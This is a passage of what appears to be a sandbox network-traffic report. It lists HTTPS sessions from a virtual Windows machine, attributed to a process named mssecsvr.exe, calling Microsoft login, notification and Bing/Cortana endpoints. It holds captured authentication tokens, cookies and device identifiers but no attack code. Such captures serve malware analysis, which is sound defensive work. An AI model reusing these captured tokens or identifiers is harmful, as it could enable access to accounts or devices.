2022-07-20 07:07:49 UTC	199	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:07:49 UTC	248	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:06:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 4664e117-adf4-42e2-a7aa-95050b24f732 PPServer: PPV: 30 H: BL02EPF000016AA V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:07:48 GMT Connection: close Content-Length: 11093
2022-07-20 07:07:49 UTC	249	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	50168	40.126.31.73	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:49 UTC	204	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4794 Host: login.live.com
2022-07-20 07:07:49 UTC	205	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:07:49 UTC	226	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:06:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: dee9abcb-2feb-47d4-9297-9e9db7cba08e PPServer: PPV: 30 H: BL02EPF000016AB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:07:48 GMT Connection: close Content-Length: 11069
2022-07-20 07:07:49 UTC	226	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	50166	40.126.31.73	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:49 UTC	209	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 07:07:49 UTC	210	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 07:07:49 UTC	237	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 07:06:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 14375415-82f3-4c58-a7a0-b96f5cfcbd7a PPServer: PPV: 30 H: BL02EPF000066A1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 07:07:48 GMT Connection: close Content-Length: 11093
2022-07-20 07:07:49 UTC	238	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	50195	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:50 UTC	271	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 65 30 34 66 66 35 30 31 38 37 38 33 32 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 3ce04ff501878323
2022-07-20 07:07:50 UTC	271	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:07:50 UTC	271	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 65 30 34 66 66 35 30 31 38 37 38 33 32 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 3ce04ff501878323<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:07:50 UTC	272	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 65 30 34 66 66 35 30 31 38 37 38 33 32 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 3ce04ff501878323<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:07:50 UTC	273	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:07:50 UTC	273	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 36 6f 6d 46 4f 79 55 63 55 2b 39 44 4d 57 4d 47 65 46 44 75 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: O6omFOyUcU+9DMWMGeFDuQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	50206	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:50 UTC	273	OUT	GET /client/config?cc=US&setlang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcHikNthsPmyHB46AmBTQ%2Bo/1R32V/2pOSDROXy2DLs7RL87TKgXW5X/fW8wZXqiDpINwJlUXgyp/g%2Bq/ZO2uD8J8jOZ76sVnEn6mfVzAzbFeBEyfdxY8ju4PwtqMY99OaFq8vEa/xU9RJCRJMAi6Hh4yXFarU3OldDaGSF5bUox/HE%2B0USj5GIFa%2B39xqeOqBdh2GXK/Iqq7OQrzmLNlAw4IQovpZDCX2ifndE%2BmLk4xgdFO6kHf9C/3HYRZqWciOZZmOXb99AaxHqHRtQ5dV3ncOXed0IDajtxSklSJtrvFXNnpsLfAgSbZyziiUZpLMEvPwtoB%2BESDkbbhX/dYmMDZgAACFY5hf88AG1lqAF9B1%2BWaLRy3kpK1v8Be12iYFp/BEfMSA3tppt4rA8z2y5whQl0TMbLEVEyaIrbq4kl4Er9wt5ZpKgq2R6W7a16P37ngLePBYqRpyP4Xaz%2BiCUTN8OtZtaK0g8Z6L4hZw6iSs5cfPvfYbt97QxJWBwjmEUu/x/XLS3WXeQkWeueeO90QiThvOae1Aa4eJTeTKomYcLpYjzrsATexblCGw8SPWmvU7boJm8NwnokfYEpRaVg%2B/T3RUFpzKOkYOiSW0RSZPDbCV9YblCJ6IECy4OJgTcpwXcNWggcAarDSXJlL2CgdSof5Du/%2BWm3M7kN09PF6vWZBrbcqyXas27cC%2BYi8m7DM1WvOieMmY6tYcYcjVGRuPYpCFGnDaqMmvkBTHXHKh0hduDiwWb19kyEnTGcgEglZY1b1B%2B4MhFz7EGbQwKoZY//OgwLVu1PzxAuNCQkfFDCVXpjUjM9jRFKC1vQUUPOmR%2BTtYDSlhADqFTiEryCo7eJhq764Fi27MPRPJqM1oJ5VgGEMSy/TW7zpijCnm1wnFllKBTgYJ4CmFFWKIzmfOc0%2BrW21gE%3D%26p%3D X-Agent-DeviceId: 0100748C09001CEA X-BM-CBT: 1658333215 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-Touch: false X-Device-ClientSession: 3CBFA773C2AF4C5583A2BFEA2846B3B6 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=54AD14FB4D1E4A6C815A867991009454
2022-07-20 07:07:50 UTC	277	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2041 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 07:07:50 GMT; path=/; HttpOnly Set-Cookie: MUIDB=54AD14FB4D1E4A6C815A867991009454; expires=Mon, 14-Aug-2023 07:07:50 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=0F0E1B3A382366631CCE0ADD39E36740&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=28C819A521C448C580DABF86B5A42CD2&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: ANON=A=84D464251C6428FCBF66122FFFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 07:07:50 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=0F0E1B3A382366631CCE0ADD39E36740; domain=.bing.com; path=/ X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 89260C5AEC414CE9846C6A74FE59DF08 Ref B: VIEEDGE1708 Ref C: 2022-07-20T07:07:50Z Date: Wed, 20 Jul 2022 07:07:50 GMT Connection: close
2022-07-20 07:07:50 UTC	279	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value
2022-07-20 07:07:50 UTC	280	IN	Data Raw: 3a 22 22 7d 2c 22 55 73 65 43 6c 6f 75 64 52 75 6c 65 46 6f 72 4c 6f 63 61 74 69 6f 6e 73 57 69 74 68 45 6e 74 69 74 79 49 64 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 43 6f 72 74 61 6e 61 48 6f 6d 65 55 73 65 72 41 63 74 69 76 69 74 79 45 6e 61 62 6c 65 64 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 58 44 65 76 69 63 65 4e 6f 74 69 66 69 63 61 74 69 6f 6e 41 63 74 69 6f 6e 73 45 6e 61 62 6c 65 64 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 43 6c 6f 75 64 41 67 65 6e 74 5f 4d 65 64 69 61 43 6f 6e 74 72 6f 6c 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 43 Data Ascii: :""},"UseCloudRuleForLocationsWithEntityId":{"value":false,"feature":""},"CortanaHomeUserActivityEnabled":{"value":true,"feature":""},"XDeviceNotificationActionsEnabled":{"value":false,"feature":""},"CloudAgent_MediaControl":{"value":true,"feature":""},"C

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	50205	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:50 UTC	275	OUT	GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-Device-IsBatteryCertified: false X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-Device-IsBatteryEnabled: false X-Device-NetworkType: ethernet X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-VoiceActivationOn: false X-Device-AudioCapture: Microphone (High Definition Audio Device) X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcHikNthsPmyHB46AmBTQ%2Bo/1R32V/2pOSDROXy2DLs7RL87TKgXW5X/fW8wZXqiDpINwJlUXgyp/g%2Bq/ZO2uD8J8jOZ76sVnEn6mfVzAzbFeBEyfdxY8ju4PwtqMY99OaFq8vEa/xU9RJCRJMAi6Hh4yXFarU3OldDaGSF5bUox/HE%2B0USj5GIFa%2B39xqeOqBdh2GXK/Iqq7OQrzmLNlAw4IQovpZDCX2ifndE%2BmLk4xgdFO6kHf9C/3HYRZqWciOZZmOXb99AaxHqHRtQ5dV3ncOXed0IDajtxSklSJtrvFXNnpsLfAgSbZyziiUZpLMEvPwtoB%2BESDkbbhX/dYmMDZgAACFY5hf88AG1lqAF9B1%2BWaLRy3kpK1v8Be12iYFp/BEfMSA3tppt4rA8z2y5whQl0TMbLEVEyaIrbq4kl4Er9wt5ZpKgq2R6W7a16P37ngLePBYqRpyP4Xaz%2BiCUTN8OtZtaK0g8Z6L4hZw6iSs5cfPvfYbt97QxJWBwjmEUu/x/XLS3WXeQkWeueeO90QiThvOae1Aa4eJTeTKomYcLpYjzrsATexblCGw8SPWmvU7boJm8NwnokfYEpRaVg%2B/T3RUFpzKOkYOiSW0RSZPDbCV9YblCJ6IECy4OJgTcpwXcNWggcAarDSXJlL2CgdSof5Du/%2BWm3M7kN09PF6vWZBrbcqyXas27cC%2BYi8m7DM1WvOieMmY6tYcYcjVGRuPYpCFGnDaqMmvkBTHXHKh0hduDiwWb19kyEnTGcgEglZY1b1B%2B4MhFz7EGbQwKoZY//OgwLVu1PzxAuNCQkfFDCVXpjUjM9jRFKC1vQUUPOmR%2BTtYDSlhADqFTiEryCo7eJhq764Fi27MPRPJqM1oJ5VgGEMSy/TW7zpijCnm1wnFllKBTgYJ4CmFFWKIzmfOc0%2BrW21gE%3D%26p%3D X-Agent-DeviceId: 0100748C09001CEA X-BM-CBT: 1658333215 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like 